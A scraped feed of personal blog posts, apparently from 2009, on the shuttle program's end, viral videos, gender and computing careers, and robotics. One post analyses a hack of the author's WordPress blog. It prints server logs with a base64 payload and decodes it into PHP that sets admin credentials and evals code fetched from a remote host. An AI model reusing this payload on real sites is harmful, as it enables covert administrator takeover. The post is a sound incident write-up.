I’m part of the Apollo generation.  The era during which the U.S. was dominant in space, with hundreds of manned [...]]]>

The last shuttle mission has flown and, with nothing to replace it, the U.S. manned presence in space has ended with it.  The shuttle astronauts in the picture below are the last ones we will ever see.

I’m part of the Apollo generation.  The era during which the U.S. was dominant in space, with hundreds of manned missions.  The moon landings, Skylab, the shuttle, deployment of Hubble, and the ISS: all of these things marked milestones in my life.  The men and women of the space program were, to me, sterling examples of the best humanity has to offer.

The tiny cost of the U.S. space program (the entire 50 year history of which costs less than what the U.S. spends in a single year on the military) has paid off in technological advances worth trillions.  And yet, due to the shortsighted and unimaginative nature of current society, it is all over.  There are no manned space vehicles being built or maintained by the U.S. after this month.  There is a partially designed manned capsule, the Orion, but nothing to launch it with.  When Americans want to go into space, they will have to beg the Russians or, perhaps, the Chinese for a ride.  Nothing is left other than a vague intent to “one day” go to Mars, but without sufficient funding or a specific plan to do so.

To me, the end of the manned space program marks the end of my youth, and of many of my dreams for mankind.  It feels as if the only outcome now is the gradual decay of humanity’s ability and will to go beyond.  In a world dominated by petty squabbles over race, religion, and natural resources, the space program was… hope.  A dream, I guess, and not a reality.

What is left to inspire us beyond our petty hatreds and cancerous greed?  My belief is that it is the dreams that lift us above our animalistic need for territory, wealth, and dominance.  The fact that the wealthiest and most powerful nation on Earth has abandoned its greatest and most noble dream tells me that we are failing.   A tiny fraction of the hundreds of billions spent every year on destruction could have kept that dream alive, and yet it is over.

I’m hopeful that some fraction of humanity might step up one day to embrace “the other things“.  Not because they are easy, but because they are hard…

I watched this video today, and am once again amazed at what “ordinary” humans can do if they put their minds to it:

I particularly liked the “open the Pringles can, bounce the lid off two corners of the room while eating a chip from the container, and catch the lid when it bounces [...]]]>

I watched this video today, and am once again amazed at what “ordinary” humans can do if they put their minds to it:

I particularly liked the “open the Pringles can, bounce the lid off two corners of the room while eating a chip from the container, and catch the lid when it bounces back” bit.

I was watching a demonstration video of a robotic vibraphone today on Gizmodo. It plays “Flight of the Bumblebee”, which is already a pretty fast piece, but does it a bit faster than normal. Impressive, but when you realize that it accomplishes this with independent actuators for each note (effectively having dozens of “hammers” where a [...]]]>

I was watching a demonstration video of a robotic vibraphone today on Gizmodo. It plays “Flight of the Bumblebee”, which is already a pretty fast piece, but does it a bit faster than normal. Impressive, but when you realize that it accomplishes this with independent actuators for each note (effectively having dozens of “hammers” where a human would be limited to a couple) it really becomes less amazing.

And then I came across absolutely staggeringly fast rendition of Flight of the Bumblebee by an honest to goodness human being. It is a Guinness book of World Records performance on the guitar by Tiago della Vega, and completely, utterly, and resoundingly trounces the robotic performance. Note that he actually performs the piece three times: at 170, 260, and 320 beats per minute: you have to watch to the end to see the fastest rendition.

Even if a machine ever exceeds this rate, I am left speechless by what the human machine can accomplish.

Actually, not really, at [...]]]>

According to a recent study at the University of Washington, people who aren’t really interested in computing science are even less interested if asked about it in a room with science fiction paraphernalia, games, and soft drink cans. Apparently some of these non-technically-inclined people are women. Glory be, we have a great discovery!

Actually, not really, at least not in my uneducated opinion, with which you are free to disagree…   

You see, I am of the belief that people who are interested in technology, who excel at it, have certain kinds of minds. Regardless of gender, they are people who like science, enjoy science fiction, and like different kinds of games. People who don’t have these traits might be interested in other things: medicine, law, psychiatry, or something else.

To be clear, I am not suggesting that all computer people are stereotypical geeks. But I do think a significant majority are: both men and women. I look at the desks of the twenty-something women at work and see anime characters, Hello-kitty plushies, chinese puzzles, strange high-calorie/high caffeine candies, and toy robots. I am doubtful that this is protective camouflage, because most of the guys desks are largely without ornamentation. I don’t see pictures of pastoral scenes or elegant tea sets.

I think everything reasonable to encourage women (and men) who are really interested in technology, computers, and science to pursue their interests is worth doing. But I really do *not* want people who have no interest in the kinds of things that make good technologists pursuing careers they have no aptitude for. I’ve seen people who should have been accountants, history teachers, or truck drivers become computer people, and I’ll tell you it isn’t a pretty sight. They have no finesse, no talent, no skill: just rote procedural work and a total inability to resolve anything they don’t have a formula for.

So here’s my suggestion: worry about how people can deal with logic puzzles and english language pseudo code and other base elements of computing. Look at how we can identify people of any gender who have these natural aptitudes, who get excited more by the problem and the beauty of the solution than in the billing rates or the mathematics of it, and give them access to interesting challenges. My suspicion is that the vast majority of them regardless of gender will prefer science fiction posters and games over tea sets and colour draping any day.

In fact, maybe a good test of man or woman is to expose them to a typical nerd workspace: if they play with the toys and use the nerf gun to shoot down the tower of pop cans, they should consider a career in computing. If they tsk tsk and begin hanging tasteful watercolours of lakes at sunset, they should go straight away into accountancy or law

After years of thinking the Internet was a collection of tubes, we now have a more definitive explanation, in video form…

This video is created, as it says, based on snippets extracted out of context from a BBC program…amazing how something so basically childish can be so [...]]]>

After years of thinking the Internet was a collection of tubes, we now have a more definitive explanation, in video form…

This video is created, as it says, based on snippets extracted out of context from a BBC program…amazing how something so basically childish can be so darn funny!

The folks on the Today Show have discovered a little known fact about the Ewoks from Star Wars. They really can’t handle their booze very well…

Apparently the folks inside the Ewok costumes really were drunk and, as it was a live TV program, the producers decided to just go with it. Credit where credit is due, [...]]]>

The folks on the Today Show have discovered a little known fact about the Ewoks from Star Wars. They really can’t handle their booze very well…

Apparently the folks inside the Ewok costumes really were drunk and, as it was a live TV program, the producers decided to just go with it. Credit where credit is due, I came across this on Engadget,

I found this on Gizmodo today, and when I watched the video I couldn’t help laughing out loud…

It is really awesomely incredibly great and unbelievable!

The video is extracted from the most recent (September 9th) Apple event, which was focussed on what I can only describe as a completely boring list of iPod announcements. There was nothing [...]]]>

I found this on Gizmodo today, and when I watched the video I couldn’t help laughing out loud…

It is really awesomely incredibly great and unbelievable!

The video is extracted from the most recent (September 9th) Apple event, which was focussed on what I can only describe as a completely boring list of iPod announcements. There was nothing released that was “gee-whiz” like the iPhone, just minor incremental updates to existing product lines. Yet as is evidenced by this video, the Apple team worked hard to make it seem like they were revolutionizing the entire world.

I have to wonder how carefully the Apple folks craft and coach these kinds of over-the-top exuberant love-fests. I can’t imagine that this happens “naturally” or by accident. And it explains why the comparatively subdued presentations given by other companies seem so dour and boring in comparison.

If you are running a WordPress based blog like I am and suddenly notice your post URLs have something “extra” appended (see the subject line), your blog has been hacked.

You can read more about it here (thanks, UCLABoyz, thanks schang!), where you will also find guidance regarding cleaning the problem up. Unfortunately, it appears that the [...]]]>

If you are running a WordPress based blog like I am and suddenly notice your post URLs have something “extra” appended (see the subject line), your blog has been hacked.

You can read more about it here (thanks, UCLABoyz, thanks schang!), where you will also find guidance regarding cleaning the problem up. Unfortunately, it appears that the hack works on all versions of WordPress up to and including the most recent.

I have BadBehavior installed on my blog, and so it was rejecting the URLs with this addition which I *think* would be thwarting the hackers involved: they hadn’t been able to create an administrative user. Unfortunately, it also meant none of my blog posts were working properly until I noticed the problem and corrected it.

Hopefully WordPress will issue a fix for this soon- in the mean time, keep an eye on your URLs, WordPress bloggers!

UPDATE: Another link to a lengthy thread regarding this hack on the WordPress.org site. What is interesting here is the apparent vector: a weakness in the WordPress code, apparently up to and including the most recent release, that permits an ordinary subscriber (i.e.: not an administrative user) to run some administrator features e.g.: changing the permalinks.

UPDATE #2: it appears that updating to the most recent version of WordPress (2.8.4) removes the “double slash” vector for running some admin commands (notably permalink.php). This fix was apparently added somewhere between WordPress version 2.8 and 2.8.4.

I’ve included some extracts from my server logs and further thoughts below…

Here are the “smoking gun” entries from my log files:

189.54.17.207 – - [03/Sep/2009:19:16:45 -0700] “GET /wp-login.php HTTP/1.1″ 200 907 “http://www.kgadams.net/” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

189.54.17.207 – - [03/Sep/2009:19:16:47 -0700] “POST /wp-login.php HTTP/1.1″ 302 20 “http://www.kgadams.net/wp-login.php” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

189.54.17.207 – - [03/Sep/2009:19:16:50 -0700] “GET /wp-admin/ HTTP/1.1″ 200 8117 “http://www.kgadams.net/wp-login.php” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

189.54.17.207 – - [03/Sep/2009:19:16:52 -0700] “GET /wp-admin//options-permalink.php HTTP/1.1″ 200 4145 “http://www.kgadams.net/wp-admin//options-permalink.php” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

189.54.17.207 – - [03/Sep/2009:19:16:55 -0700] “POST /wp-admin//options-permalink.php HTTP/1.1″ 200 4230 “http://www.kgadams.net/wp-admin//options-permalink.php” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

189.54.17.207 – - [03/Sep/2009:19:16:57 -0700] “POST /xmlrpc.php HTTP/1.1″ 403 521 “JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdMYXphcm9LaW1tb25zODUnOyR1c2VyX3Bhc3M9JzJtZXprYVRUZG1WcCc7ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2xpbmtzLndlYndvcmRwcmVzcy5jbi9kYXRhL3Nob3J0cGFydDIudHh0JykpO2V4aXQ7″ “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

I don’t have details of what the user at IP address ’189.54.17.207′ (registered in Latin America) was doing with the first three actions calling wp-login.php, but I’m guessing creating a normal subscriber ID and logging in. Action #4 and #5 above, the call to /wp-admin//options-permalink.php (note the double “//”) is where the permalink was changed. The revised permalink includes an ‘eval’ statement- that executes (runs as a program) what follows, which is a base 64 decode of the referrer string.

The final step is an attempt to use xmlrpc.php to execute the encoded string. The encoded string, decoded, looks like this:

$role=’administrator’;$user_login=’LazaroKimmons85′;$user_pass=’2mezkaTTdmVp’;eval(file_get_contents(‘http://links.webwordpress.cn/data/shortpart2.txt’));exit;

What this is doing is setting a few PHP variables then executing the code retrieved from http://links.webwordpress.cn/data/shortpart2.txt. That little bit of code creates the administrative user and, from what I understand, hides it.

In the case of my site, the hacked permalink seems to have been blocked- I’m not sure whether by BadBehavior or something else I have installed. So the hack was half-successful: the permalink was installed, but using the permalink generated an error.

I have caught a number of episodes of The Guild, a web-based video series since it first appeared a year or so ago. Imagine a soap opera based on the web-camera confessions of a young woman geek who is a member of a massively multiplayer online game guild, and you have the basic idea.

Recently The Guild [...]]]>

I have caught a number of episodes of The Guild, a web-based video series since it first appeared a year or so ago. Imagine a soap opera based on the web-camera confessions of a young woman geek who is a member of a massively multiplayer online game guild, and you have the basic idea.

Recently The Guild has started going a bit “big time”, with announcements that Wil Wheaton is going to be appearing in some episodes of this upcoming season and now… a music video.

I kind of have a little crush now on Felicia Day… shhh, don’t tell Irene.

The progress of robotics over the last few decades has seemed fairly slow to me. Robots today at their best seem to shuffle or stumble along like zombies, their movements more scripted and controlled than dynamic or lively. I watched a video today, however, that makes me feel like some real progress is actually being made.

Here [...]]]>

The progress of robotics over the last few decades has seemed fairly slow to me. Robots today at their best seem to shuffle or stumble along like zombies, their movements more scripted and controlled than dynamic or lively. I watched a video today, however, that makes me feel like some real progress is actually being made.

Here is what I watched… and be aware that this is a robotic appendage reacting in real time to visual and tactile data, *not* a strictly scripted series of movements.